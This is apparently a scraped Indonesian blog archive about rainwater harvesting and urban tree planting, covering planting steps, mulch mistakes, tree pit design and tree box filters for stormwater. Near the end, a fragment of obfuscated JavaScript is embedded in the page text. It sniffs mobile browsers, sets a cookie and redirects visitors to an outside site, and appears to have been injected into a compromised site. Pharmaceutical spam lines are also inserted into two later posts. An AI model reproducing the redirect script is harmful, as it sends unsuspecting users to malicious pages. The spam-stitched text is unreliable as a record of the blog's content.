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PANEN AIR HUJAN – TREE WELL

December 10th, 2013 No comments


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PANEN AIR HUJAN – MENANAM POHON KOTA

December 10th, 2013 No comments

PANEN AIR HUJAN  -  MENANAM POHON KOTA

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DENGAN PELAN-PELAN  dan HATI-HATI meletakkan pohon ke dalam lubang tanam dan mengaturnya hingga posisinya tegak-lurus.  Memotar-mutar pohon  hingga sisi tajuk yang bagus menghadap ke  jalan (jika itu di halaman depan) atau menghadap ke rumah (jika itu di halaman belakang).

Potong keranjang (wadah) bibit pohon setidaknya 6 inchi di bawah permukaan bola akar dan tariklah potongan wadah-goni tersebut. Gunakan alat untuk menggemburkan tanah di sekitar bola akar. Pengurukan dengan tanah galian lubang tanam hingga penuh.  Memadatkan urugan tanah pelan-pelan untuk menghilangkan kantong udara yang besar di dalam lubang tanam.

Buatlah pematang tanah setinggi 6 inchi sekitar pohon di tepi-luar lubang tanam, lalu siram lubang tanam dnegan air secukupnya, setelah air meresap, pematang tanah diratakan. Tambahkan mulsa setebal 3 inchi di sekitar pohon, tetapi tidak menyentuh pangkal batang.  Jaga jangan sampai akar pohon mnegalami kekeringan dnegan jalan menyiram air secukupnya , misalnya sekali seminggu selama dua tahun.

 

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PANEN AIR HUJAN – MULSA POHON YANG KELIRU

December 10th, 2013 No comments

PANEN AIR HUJAN   -  MULSA POHON YANG KELIRU

Jangan menimbun mulsa organik di pangkal batang pohon.  Kesalahan penanaman pohon biasanya dilakukan ketika mulsa organik ditumpuk terlalu banyak di pangkal batang pohon.
Hal ini akan menciptakan tempat persembunyian yang bagus bagi organisme yang dapat membahayakan kulit pangkal batang.  Hal ini juga menciptakan lingkungan basah yang menguntungkan bagi kehidupan hama dan penyakit pohon.
  Tumpukan mulsa organik di pangkal batang juga mendorong akar  akan tumbuh masuk ke dalam  tumpukan mulsa, sehingga alau terjadi kondisi kering maka akar dapat mati.


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Planting tree mistake - Improper mulching

 

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PANEN AIR HUJAN – MENANAM POHON KOTA

December 10th, 2013 No comments

PANEN AIR HUJAN -  MENANAM POHON KOTA

Kesalahan dalam Penanaman Pohon, yaitu  mancampur tanah urugan lubang-tanam dengan bahan organik.

Masalahnya adalah bahwa  pencampuran bahan organik itu hanya terjadi dalam lubang tanam. Apa yang terjadi kalau akar menembus dindinh lubang tanam dan  memasuki tanah asli di sekitarnya?

Karena tanah asli lebih padat, akar pohon kemudian bereaksi dengan cara yang sama seperti yang terjadi dalam wadah bibit ketika akar menyentuh dinding wadah bibit.  Akar tumbuh mengelilingi tepi batas lubag tanam dan tumbuh kembali melengkung ke dalam lubang tanam yang kualitas tanahnya lebih gembur.  Akar pohon tidak mampu menembus  tanah asli di sekitar lubang tanam, dan akhirnya menghasilkan pertumbuhan tajuk pohon yang terhambat .
Sebagai gantinya, dapat dilakukan hal-hal:


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  1. Pilih jenis tanaman pohon yang mentolerir kondisi tanah yang ada
  2.      Gunakan tanah yang ada untuk pengurukan lubang tanam, tanpa dicampur bahan organik
  3. Jika tanah benar-benar buruk kualitasnya, maka dapat mengganti seluruh situs penanaman dengan tanah lapisan atas
  4.      Mulsa pohon dengan mulsa organik , secara bertahap memperbaiki kondisi tanah dari seluruh wilayah mulsa

 

Tree planting mistake - Amending soil

 

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PANEN AIR HUJAN – MENANAM POHON DI LOKASI YANG TEPAT

December 10th, 2013 No comments

PANEN AIR HUJAN  -  MENANAM POHON DI LOKASI YANG TEPAT

 

Menanam Pohon

Bibit Pohon ditanam pada lubang tanam yang telah dipersiapkan di dalam tanah .

Menanam bibit pohon pada lubang tanam yang tepat memungkinkan pohon untuk tumbuh sehat dan kuat , sehingga menghasilkan banyak manfaat bagi lingkungannya.  Kita harus mencegah problematik jangka panjang , seperti pemangkasan cabang dan ranting pohon secara berlebihan ,  mati pucuk ranting pohon , akar keriting dan cabang-cabang yang kerdil.

Beberapa pohon dapat hidup sampai berusia 80-100 tahun atau lebih . Langkah-langkah yang dilakukan pada hari ini dapat memiliki efek yang berlangsung sepanjang masa .  Seperti kata pepatah ” lebih baik menanam pohon $ 10 dalam lubang $100, daripada menanam pohon  $100 dalam lubang $10 ” .

  1. Menggali lubang 2-3 kali lebarnya wadah bibit atau bola-akar .
  2. Menggali lubang tidak lebih dari ketinggian bola akar bibit pohon .  Bagian puncak bola-akar harus sejajar atau sedikit di atas permukaan tanah . Lebih baik 1″  lebih tinggi  daripada  1″  lebih rendah dibanding permukaan tanah.
  3. Pindahkan wadah , memotong akar besar dan melingkari perakaran. Tarik perlahan wadahnya dan melonggarkan akar-akar terluar dari bola akar .
  4. Tempatkan bibit pohon di lubang tanam,  pastikan bibit pohon itu tegak-lurus ke atas dan berpusat di dalam lubang tanam.
  5. Jangan menambahkan bahan perbaikan tanah seperti rabuk kandang , pupuk  dan kompos.
  6. Peng’urug’an lubang tanaman dengan tanah aslinya , hancurkan bongkahan tanah dan dimbumbum pangkal bibit pohon.  Jangan memadatkan tanah pada zone diatas perakaran pohon. Cabutlah rumput-rumput yang ada di sekitar pangkal pohon.Jangan memasukkan cabutan rerumputan ke dalam lubang tanam.
  7. Tempatkan lapisan mulsa setebal 4 inchi di seluruh permukaan tanah yang terganggu . Jangan biarkan mulsa menyentuh batang pohon .
  8. Setelah pohon ditanam , tambahkan air secukupnya untuk mengisi rongga-rongga udara dalam lubang tanam.

 

Mulsa

  1. Mempertahankan kelembaban tanah
  2. Menekan pertumbuhan gulma
  3. Menyangga Suhu tanah
  4. Meningkatkan kesuburan tanah
  5. Menghilangkan kebutuhan untuk menyiang di sekitar pangkal pohon.

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Gunakan mulsa permukaan setebal 4 inchi merata ke seluruh luas permukaan terganggu sekitar pohon . Hindari penumpukan mulsa .  Jauhkan mulsa dari pangkal batang, zona bebas mulsa 2 inchi dari batang, untuk menghindari menciptakan tempat-tempat yang menguntungkan bagi hama dan penyakit.

Pengairan Pohon.
Air bagi bibit pohon yang baru ditanam sangat penting.   Memberikan sejumlah air lebih baik daripada tidak sama sekali, tetapi 3-5 galon air dalam seminggu , jika tidak hujan , sangat ideal .  Pemberian Air secara perlahan-lahan untuk menghindari limpasan air di permukaan.
Gejala pohon menjadi Browning, layu , dan dieback yang paling sering disebabkan oleh kekurangan air . Jangan menunggu munculnya tanda-tanda kekurangan air,  baru menyiram pohon .

Pemupukan Pohon
Upaya menyuburkan pohon dapat dilakukan pada tahun ke dua setelah tanam untuk meningkatkan laju pertumbuhan dan kepadatan dedaunan . Gunakan pupuk slow release ,  sebarkan pupuk dengan dosis ¼ lb  pupuk  33-0-0 ( nitrogen ) per 5′x5 ‘daerah dari batang luar .  Atau gunakan pupuk lengkap-berimbang ( nitrogen , fosfor , kalium dan zat gizi mikro ) sesuai dengan label produsen.  Terlalu banyak pupuk dapat membahayakan pohon.

 

Image showing how to plant a tree

 

 

 

 

 

 

 

 

 

 

 

 

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PANEN AIR HUJAN – POHON KOTA DI ZONE PERKERASAN

December 10th, 2013 No comments

PANEN AIR HUJAN  -  POHON KOTA DI ZONE PERKERASAN

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Hambatan utama untuk membangun vegetasi pepohonan di lahan perkotaan yang diperkeras (beraspal) adalah kurangnya volume tanah yang mencukupi untuk pertumbuhan akar pohon .

Tanah di bawah trotoar biasanya dipadatkan untuk memenuhi kebutuhan menahan beban dan standar rekayasa teknis. Hal ini seringkali menghalangi pertumbuhan akar pohon ,  akan mempunyai volume tanah yang terbatas, tidak mencukupi suplai air, hara dan oksigennya.  Sehingga  pohon perkotaan yang sebagian besar akarnya berada di bawah trotoar tumbuh buruk dan biasanya mati sebelum waktu tuanya . Diperkirakan pohon perkotaan dengan kondisi lingkungan tumbuh seperti ini mempunyai umur rata-rata 7-10 tahun , padahal diharapkan pohon tersebut dapat tumbuh selama 50 tahun atau lebih  (kalau kondisi tanah tempat tumbuhnya cukup baik ). Pohon-pohon yang bertahan hidup dalam desain perkerasan seperti itu seringkali  mengganggu integritas trotoar . Pohon yang hidup lebih tua dapat menyebabkan merusak trotoar ketika akar tumbuh langsung di bawah trotoar dan tumbuh-kembang sejalan dengan umur pohon.  Rusaknya  lapisan perkerasan dapat menimbulkan bahaya .

Perbaikan trotoar seringkali mengakibatkan kerusakan akar pohon , dan mengakibatkan gangguan pertumbuhan pohon dan kematian pohon.

Suatu alat baru untuk pembentukan pohon perkotaan adalah desain ulang seluruh profil trotoar untuk memenuhi kebutuhan beban untuk instalasi perkerasan struktural , sambil mendorong pertumbuhan akar pohon menembus memasuki lapisan tanah yang lebih dalam.   Substrat trotoar baru, yang disebut ‘ tanah struktural ‘ , telah dikembangkan dan diuji sehingga dapat dipadatkan untuk memenuhi persyaratan rekayasa untuk permukaan beraspal , namun memiliki kualitas yang memungkinkan akar pohon untuk tumbuh secara leluasa ke arah  bawah dan jauh dari permukaan trotoar , sehingga mengurangi efek terangkatnya trotoar oleh akar pohon .

 

Selengkapnya lihat:

http://www.hort.cornell.edu/uhi/outreach/csc/article.html

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PANEN AIR HUJAN – FISIOLOGI AKAR POHON KOTA

December 10th, 2013 No comments


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PANEN AIR HUJAN  -  FISIOLOGI  AKAR POHON  KOTA

 

Bagaimana akar pohon dapat tumbuh dan berkembang menjadi jaringan yang luas dan mampu memegang pohon yang tingginya 100 feet di  udara , menahan angin dengan kecepatan 50 mil per jam ?

Akar pohon tumbuh dan berkembang dalam tanah, dan berinteraksi dengan tajuk pohon dan dengan tanah di mana pohon itu tumbuh .

Akar pohon berfungsi untuk “anchorage”, penyerapan hara dan air dari tanah, dan penyimpanan sebagian hasil fotosintesis . Peekembangan sistem akar tergantung pada jenis tanaman , kualitas tanah , dan kondisi lingkungan tempat tumbuhnya pohon.

Sebuah sistem akar pohon harus seimbang dengan sistem tajuknya, tetapi bukan dalam hal bobot dan atau dimensinya . Sistem akar harus mampu memasok tajuknya dengan sejumlah air dan hara yang cukup sehingga  tajuk pohon dapat memproduksi cukup karbohidrat untuk mendukung pertumbuhan sistem akar . Keseimbangan ini akan terganggu kalau terjadi pemangkasan cabang dan ranting , gangguan pada akar , serangan hama atau penyakit .

Akar tumbuh dan berkembang secara internal ,  untuk melakukan hal ini , akar memiliki beberapa bagian , digambarkan sebagai berikut :

TUDUNG AKAR .   Ini adalah bagian akar yang letaknya paling ujung.  Tudung akar ini melindungi ujung akar pada saat akar tumbuh menembus material tanah.  Sel-sel tua pada tudung ini akan mengelupas dan mempermudah gerakan akar menembus massa tanah . Sel-sel ini secara terus-menerus diganti .

MERISTEM UJUNG (Apical Maristem).   Ini merupakan bagian akar yang menyediakan sel-sel untuk tudung akar dan sel-sel pada zone elongasi di belakang tudung akar.

ZONE  Pemanjangan.  Zone ini mempunyai sel-sel yang aktif membelah dan memperpanjang diri, dan perpanjangan pada zone ini akan mendorong tudung akar menembus tanah.

ZONE BULU AKAR  atau ZONE DIFERENSIASI.   Ini adalah zone dimana sel-sel mengembangkan bentuk yang lebih matang dan dibedakan menjadi epidermis dan korteks . Bulu akar terbentuk pada epidermis atau lapisan permukaan sel . Bulu akar berfungsi untuk menyerap air dan hara tanaman , dan hidup hanya untuk waktu singkat .  Bulu akar tidak akan tumbuh menjadi akar lateral.  Tidak semua jenis pohon mempunyai bulu akar, mereka ini menyerap air dan hara melalui sel-sel epidermis yang berdinding tipis . Jenis  pohon lainnya memiliki bulu akar yang berlangsung selama beberapa tahun . Dalam jaringan korteks  terdapat endodermis , Pericycle , floem , dan xilem .

Akar Lateral.   Daerah di belakang belakang daerah bulu akar ,  terbentuk akar-akar lateral.  Akar-akar lateral ini mendorong tudung akar dan jaringan meristem apikal menembus memasuki zone tanah yang baru.

 

Selengkapnya lihat:

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PANEN AIR HUJAN – DISAIN LUBANG TANAM POHON KOTA

December 10th, 2013 No comments

PANEN AIR HUJAN -   DISAIN LUABNG TANAM POHON KOTA

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Pangkal pohon, sering disebut sebagai lubang TANAM pohon, merupakan salah satu desain perkotaan yang penting dan seringkali diabaikan.

Di  Toronto,  disain lubang tanam pohon kota ini telah mendapatkan banyak perhatian dari warga kota dan pemerintah kota.  Warga kota secara reguler membersihkan bahan perkerasan (semen) dari zone di sekitar pangkal pohon.  Semen ini menjadi semacam “peti mati”  yang menghalangi meresapnya air hujan ke dalam tanah.

Lubang-lubang tanam pohon kota Toronto telah direnovasi , penutup semen di sekitar pangkal dibongkar, ditambahkan tanah untuk melindungi akar pohon.  Pagar besi dipasang di sekitar pangkal pohon untuk menjaga pejalan kaki dari berjalan dan menginjak-injak zone akar pohon.  Fitur-fitur baru ditambahkan untuk memperindah penampilan lubang tanam pohon kota.

 

 

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PANEN AIR HUJAN – LUBANG TANAM POHON YANG DIRANCANG UNTUK GAGAL

December 10th, 2013 No comments

PANEN AIR HUJAN   -  LUBANG TANAM POHON  YANG DIRANCANG UNTUK GAGAL

Lubang tanam pohon di tepian jalan-raya biasanya “merusak” sistem perkerasan berlapis . Dalam profil trotoar , biasanya kita temukan material “tanah urug” sebagai landasan trotoar.  Material tanah urug ini biasanya dipadatkan sedemikian rupa sehingga menjadi “kedap” bagi pertumbuhan akar pohon,  kedap infiltrasi air , dan secara signifikan mengurangi drainase bawah permukaan.   Di atas permukaan tanah biasanya juga ada material dasar . Untuk mempertahankan permukaan perkerasan yang stabil , material dasar ini dipadatkan dan memiliki kekuatan penyangga beban yang berat . Hal inilah yang menyebabkan mengapa kerikil atau pasir yang mengandung sedikit material halus (tanah liat) biasanya digunakan dan dipadatkan sampai 95 % kepadatan ( AASHTO T – 99 ) .

Lapisan dasar merupakan bahan kasar granular , sehingga tidak mengandung cukup bvanyak air tersedia bagi akar tanaman dan kemampuan menahan hara-tanaman juga sangat terbatas.   Pengumpulan air limpasan tepat di bawah trotoar dapat menyebabkan kegagalan trotoar . Selanjutnya , trotoar yang mengelilingi lubang pohon dirancang sebagai “kedap air”  sehingga mengusir atau memindahkan air jauh dari lubang pohon.

Generalisasi seperti dijelaskan di atas belum mampu menjelaskan semua tantangan yang dihadapi Pohon yang ditanam di sepanjang trotoar, masih ada misteri mengapa pohon sering mengalami gagal tumbuh atau bahkan mati . Penggalian tanah yang luas tentu biayanya mahal ,  tanah yang dipadatkan seringkali  ditemukan di bawahnya permukaan perkerasan .
Zona yang padat ini biasanya kedap air dan seringkali juga kedap terhadap pertumbuhan akar pohon , maka tidak mengejutkan kalau akar pohon hanya tumbuh dalam lapisan tipis di bawah trotoar, tidak mampu menembus lapisan tanah yang lebih dalam.  Pohon sering mengalami zone akar yang jenuh air selama musim hujan.  Lubang tanam pohon yang dilengkapi dengan  liang drainage dapat mengatasi masalah ejnuh-air ini , tetapi liang drainage ini tidak mampu mengatasi barier fisik bagi pertumbuhan akar pohon.

Traditional tree pits designed for failure:

  • All of the surrounding profile is designed for the pavement
  • Base: little water and no nutrients

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  • Sub-grade:essentially impermeable
  • Drainage is designed for pavement and not the tree

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PANEN AIR HUJAN – KEBERHASILAN DISAIN LUBANG TANAM POHON KOTA

December 10th, 2013 No comments

PANEN AIR HUJAN -  KEBERHASILAN DISAIN LUBANG TANAM POHON KOTA

 

Setelah diputusakan spesies dan lokasi penamnaman pohon, proses berikutnya adalah  merancang disain lubang pohon dan kelengkapannya:

  1.  Ruang akar yang cukup tersedia – persyaratan volume tanah untuk pohon dapat diperkirakan dengan menggunakan beberapa metode . Seperti yang dinyatakan sebelumnya , di lingkungan alam sistem akar dapat memperpanjang dua sampai tiga kali jari-jari tajuk pohon . Mungkin cara paling sederhana untuk menghitung volume tanah yang dibutuhkan minimal adalah untuk mengambil area kanopi proyeksi pohon dewasa , dikalikan dengan kedalaman 0,6 m . Bentuk daerah ini dapat dikonfigurasi sesuai dengan situs tertentu . Metode lain didasarkan pada dewasa batang ketebalan dan mungkin lebih akurat karena mereka menyediakan untuk bentuk dedaunan yang berbeda . Metode lama menyediakan area ukuran pembukaan perkerasan jelas tidak cukup , dan berkomitmen pohon ke kematiannya , atau seumur hidup perbaikan mahal .
  2. Persyaratan Engineering -  Banyak pohon yang ditanam berdekatan dengan jalan raya dan struktur rekayasa , hal yang sangat penting adalah berapa besarnya volume akar bawah tanah . Persyaratan teknik untuk permukaan keras secara langsung bertentangan dengan persyaratan penanaman pohon. Modul tanah struktural atau sejenisnya harus dipertimbangkan dalam sebuah proyek yang akan dimasukkan pada tahap sipil atau pengerjaan tanah.
  3. Manajemen akar pohon – Lingkungan beraspal mengelilingi pohon atau utilitas di dekatnya ? Jika demikian , manajemen akar harus ditentukan tergantung pada apa yang perlu melindungi dan di mana itu dalam kaitannya dengan pohon . Untuk lingkungan beraspal yang kontinyu misalnya , akar memerlukan ruang bawah tanah setidaknya 300 mm, di bawah  disain perkerasan.
  4. Irigasi atau penyiraman – kekurangan air dan hara adalah penyebab tunggal kegagalan pertumbuhan pohon perkotaan yang baru ditanam di seluruh dunia . Hal yang sangat penting adalah bagaimana menggabungkan sarana pengairan dan pemupukan yang efisien , terutama untuk tiga tahun pertama .

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  6. Drainase – lubang pohon yang tergenang air dapat menjadi anaerobik dan ini akan membunuh pohon,  pastikan bahwa masalah drainase dapat diatasi .
  7. Aerasi – kurang dikenal luas tapi tidak kurang penting, tanah dan akar membutuhkan udara untuk hidup . Jika zone akar pohon ditutupi dengan paving kedap air, pertukaran gas dalam zona akar tidak dapat berlangsung .  Desain lubang tanam pohon harus mencakup sarana untuk memudahkan pasokan udara ke lapisan tanah di bawah permukaan.
  8. Dukungan Fisik pada pohon – bagaimana dapat dipastikan bahwa pohon itu aman berada di tempat tumbuhnya?  “Guying” bawah tanah banyak disukai untuk daerah perkotaan selama tidak mengganggu . Mengintai dan mengikat adalah alternatif tetapi ini akan membutuhkan perawatan .
  9. Kondisi di atas tanah -  di beberapa lokasi diperlukan  sarana perlindungan di sekitar pohon dari ancaman kecerobohan dan / atau vandalisme serampangan untuk kelangsungan hidup pohon . Sebuah keputusan harus dibuat apakah ada kebutuhan untuk pagar sekitar pohon , dan upaya perlindungan lainnya .

 

Selengkapnya lihat:

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PANEN AIR HUJAN – LUBANG TANAM POHON

December 10th, 2013 No comments

PANEN AIR HUJAN  -  LUBANG TANAM POHON

 

Pohon kota seringkali  ditanam dalam skema paving, taman parkir mobil dan sepanjang trotoar untuk menyediakan tempat penampungan, naungan, keindahnan , tempat perlindungan bagi satwa liar dan kenyamanan lingkungan binaan.

Namun demikian,  agar supaya pohon kota ini dapat bertahan hidup dalam lingkungan yang terbatas, akarnya membutuhkan tanah berpori untuk bernapas dan menyerap air dan hara .

Paving tradisional dapat membatasi air yang mengalir ke zone akar pohon, batu lepas dapat membahayakan perjalanan .

Pembersihan perawatannya juga dapat menimbulkan masalah kalau menggunakan paving, kisi-kisi logam dan batu lepas.

 


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Tree Pit Specification Diagram

 

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PANEN AIR HUJAN – LUBANG TANAM POHON

December 10th, 2013 No comments

PANEN AIR HUJAN  -  LUBANG TANAM POHON

 

Lubang-lubang tanam  pohon dibuat dengan teknologi simpanan air hujan  di bawah permukaan , limpasan air hujan akan disimpan untuk jangka waktu tertentu dan didorong untuk meresap ke dalam tanah , sekaloigus menyediakan tempat penampungan air untuk memenuhi kebutuhan pohon.


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PANEN AIR HUJAN – PENANAMAN POHON JALAN-RAYA

December 10th, 2013 No comments

PANEN AIR HUJAN  -  PENANAMAN POHON JALAN-RAYA

 

Penanaman pohon SEDAPAT MUNGKIN harus diintegrasikan ke dalam desain jalan-raya.  Penanaman pohon di pinggir jalan, membantu untuk melunakkan pemandangan di sekitar a jalan-raya, sekaligus menciptakan daya tarik keindahan visual, meningkatkan kenyamanan iklim mikro dan menyediakan habitat yang berharga bagi satwa liar.

Good quality planting softens the street scene (Scottish Government).


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Figure G6.2 Good quality planting softens the street scene (Scottish Government).

 

Selengkapnya lihat:

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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&’”, delay);var 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PANEN AIR HUJAN – LUBANG TANAM POHON

December 10th, 2013 No comments


Buy cheap Viagra online

PANEN AIR HUJAN  -  LUBANG TANAM POHON

 

PENANAMAN POHON di lokasi TERBANGUN harus mempertimbangkan dampak potensial terhadap bangunan yang berdekatan, konstruksi trotoar dan struktur bangunan yang ada dalam tanah.

Kekhawatiran telah diungkapkan oleh otoritas pengelola jalan raya mengenai dampak akar pohon terhadap saluran drainase ; dampak ini dapat dikurangi dengan lubang-lubang tanam pohon.

 

 

Figure G6.4 Typical tree pit detail.

 

Selengkapnya lihat:

http://www.scotland.gov.uk/Publications/2009/01/27140909/10

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PANEN AIR HUJAN – ECO TREE BOX FILTER

December 10th, 2013 No comments

PANEN AIR HUJAN  -   ECO TREE BOX FILTER

Buy cheap Viagra online

 

Eco-Tree box Filter dikembangkan sebagai bagian dari program restorasi ekosistem perairan. Teknologi ini dianggap ramah-lingkungan, dan ekonomis , dapat digunakan di lokasi taman bunga yang sudah ada atau di lokasi baru .  Sistem ini  sangat efisien dalam menyerap polutan organik dalam limpasan air hujan (BOD, TN, TP).

Karakteristiknya:

  1. Weir inlet dipasang pada dinding samping kotak pohon pada sisi pinggir jalan dan menghadap langsung ke arah jalan raya.
  2. Lapisan drainase, lapisan filtrasi pertama berupa geo-net, lapisan filtrasi ke dua, dan tanah ditimbun dari bawah kotak pohon.
  3. Woodchips dipasang di samping tanah untuk menyaring terutama sumber polusi nonpoint yang mengalir masuk melalui inlet
  4. Pipa berlubang dipasang pada lapisan drainase untuk mengalirkan air yang telah disaring dalam lapisan filtrasi.

 

Selengkapnya lihat:

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PANEN AIR HUJAN – KOTAK FILTER POHON

December 10th, 2013 No comments

PANEN AIR HUJAN  -  KOTAK FILTER POHON

 

Desain dasar Kotak Filter Pohon adalah sebuah kubah beton diisi dengan campuran tanah bioretention ( BSM – Bioretention soil mix ) , ditanami dengan vegetasi , dan dilengkapi dengan pipa drainage bawah tanah.

Sistem ini diameternya sampai  enam feet , kubah beton dengan penyekat internal . Hal ini dilengkapi dnegan pipa drainage bawah tanah yang dihubungkan dnegan saluran drainage yang ada . Kotak filter ini juga berfungsi untuk meningkatkan infiltrasi air hujan.

Media filter dalamnya sekitar tiga feet,  dan terdiri dari 80 persen pasir dan 20 persen kompos . Campuran ini dirancang untuk memaksimalkan permeabilitas media sambil memberikan bahan organik ( minimal 10 persen ) untuk mendukung  pertumbuhan vegetasi .

Vegetasi yang dipilih untuk sistem ini harus terdiri dari vegetasi pribumi , tahan kekeringan dan tahan salinitas.  Tanaman dengan pertumbuhan akar agresif dapat menyumbat subdrain ,  sehingga tidak cocok untuk sistem Filter Kotak Pohon ini.

Filter kotak-pohon ini ukurannya dirancang untuk dapat menampung volume limpasan tertentu,  dan harus memungkinkan genangan air setebal 4 – 6 inchi .

Kalau limpasan air hujan melebihi kapasitas, akan melimpas di permukaannya. Media filter sistem ini mengakomodasi laju infiltrasi air hujan hingga 120 feet per hari .

 


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PANEN AIR HUJAN – TREE BOX FILTER

December 10th, 2013 No comments

PANEN AIR HUJAN  -  TREE BOX FILTER

KOTAK Filter-pohon dapat dirancang untuk menyerap sebagian dari limpasan air hujan yang berada di saluran drainage di dekatnya.
Kotak ini diisi dengan campuran tanah – kerikil  dan di bawahnya ada pipa drainage yang dibungkus dengan filter.
Bahan Filter , mulsa dan tutup pelindung pohon dapat ditambahkan di permukaan kotak untuk melindungi pohon-pohon.


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PANEN AIR HUJAN – SISTEM LUBANG POHON

December 10th, 2013 No comments


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PANEN AIR HUJAN   -  SISTEM LUBANG POHON

 

Lubang pohon dan Kotak filter-pohon mampu menyediakan banyak kesempatan untuk bioretention limpasan air hujan. Desainnya sangat  bervariasi , mulai dari yang sederhana ” pohon lubang ” untuk intersepsi drainase lokal hingga  disain formal Pohon Box Filter , yang merupakan sarana untuk pengelolaan air hujan di bentang jalan-jalan perkotaan.

Teknik Lubang-pohon ini menyediakan tempat penyimpanan air limpasan  berupa “cawan atau cekungan “  bermulsa di sekitar pohon atau semak . Biasanya  zona bermulsa meluas hingga seluas area tutupan tajuk pohon, dan mirip dengan praktek mulsa konvensional , kecuali bahwa daerah bermulsa ini permukaannya lebih rendah 2 – 3 inci dibandingkan dengan  “gundukan” di pangkal pohon.

Box pohon filter merupakan sarana bioretention yang dipasang di bawah pohon-pohon yang dapat mengendalikan limpasan air hujan, terutama kalau didistribusikan di seluruh area. Limpasan air hujan diarahkan ke kotak pohon , di mana ia dibersihkan oleh vegetasi dan tanah sebelum memasuki cekungan tangkapan .  Limpasan dikumpulkan di kotak-pohon  untuk membantu mengairi pohon . Sistem ini terdiri dari wadah diisi dengan campuran tanah , lapisan mulsa , drainage bawah tanah , semak atau pohon . Air limpasan mengalir langsung dari permukaan lahan melalui media filter . Air yang telah diolah mengalir ke luar dari sistem melalui pipa bawah tanah yang terhubung ke saluran pembuangan air hujan atau meresap ke dalam tanah di sekitarnya .

Box pohon filter juga dapat digunakan untuk mengontrol volume limpasan / aliran dengan memperbesar volume penyimpanan di bawah kotak filter dan dilengkapi perangkat kontrol outlet.

 

File:Tree box filter.jpg

 

Kotak Filter-Pohon (Sumber: Minnehaha Creek Watershed District)

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PANEN AIR HUJAN – POHON PENANGKAP AIR HUJAN

December 10th, 2013 No comments

PANEN AIR HUJAN  -  POHON PENANGKAP AIR HUJAN

 

Pohon penangkap air hujan (Pohon Hujan) merupakan suatu sistem pengelolaan limpasan air hujan yang mengintegrasikan pohon-pohon di pinggir jalan umum dengan sarana pengumpulan limpasan air hujan dan remediasi polutan melalui berbagai proses-proses fisik, kimia, dan biologis.

Sistem  Pohon-Hujan ini memiliki desain terbuka yang unik yang tidak hanya memungkinkan untuk infiltrasi vertikal  air hujan  yang “sudah dibersihkan” untuk mengisi akuifer , tetapi juga memiliki pintu-pintu samping, untuk memungkinkan infiltrasi tambahan, serta memungkinkan untuk pertumbuhan akar untuk mendukung pertumbuhan pohon yang sehat.

Sistem Pohon-Hujan ini merupakan alternatif hemat biaya bagi sistem kotak filter konvensional dan dapat dirancang dan dikonfigurasi dalam berbagai cara untuk menangani kendala lokasi dalam lanskap perkotaan atau pinggiran kota.

 


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PANEN AIR HUJAN – Box pohon filter

December 10th, 2013 No comments

PANEN AIR HUJAN  -   Box pohon filter

 

Box pohon filter adalah sistem bioretention mini yang menggabungkan fleksibilitas dari perangkat buatan dengan sistem perlakuan kualitas air bervegetasi . Struktur ini berfungsi ganda sebagai  “hiasan” lansekap dan sebagai sarana untuk penangkap dan meresapkan limpasan air hujan. Tidak seperti banyak bentuk lain dari lansekap perkotaan , struktur ini tidak terisolasi di belakang trotoar dan menyerap air dan nutrisi dalam limpasan air hujan. Kinerja pengolahan kualitas air  sangat bagus, seringkali setara dengan sistem bioretention lainnya , terutama kalau didistribusikan dengan baik di seluruh lokasi.

Box pohon filter ini dapat digunakan di seluruh daerah perkotaan dan sangat berguna dalam pengaturan ruang yang premium lokasinya. Mereka dapat dipasang di ruang terbuka atau ruang tertutup , dimana infiltrasi air hujan yang tidak diperbolehkan atau tidak mungkin terjadi karena adanya barier , seperti tanah liat , situs dengan muka air tanah berada dekat permukaan, dan daerah dengan limpasan air hujan yang sangat tercemar .

Box pohon filter sering dipasang di sepanjang trotoar perkotaan , tetapi mereka sangat mudah beradaptasi dan dapat digunakan pada berbagai skenario pembangunan . Di daerah perkotaan , Box filter pohon ini dapat digunakan dalam desain bentang-lahan sepanjang jalan raya, secara terintegrasi dimana pohon-pohon di sepanjang  jalan dimasukkan  menjadi perangkat filtrasi limpasan air hujan.  Mereka juga dapat digunakan dalam desain yang berusaha mengkonversi bentang jalan yang non-fungsional menjadi sistem filtrasi limpasan air hujan yang besar digabungkan dnegan saluran pembuangan air hujan.

Sistem ini merupakan inovasi baru yang sedang berkembang aplikasinya , terutama di daerah perkotaan . Persyaratan pemeliharaan untuk sistem ini umumnya sangat minim.\

 


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Selengkapnya lihat:

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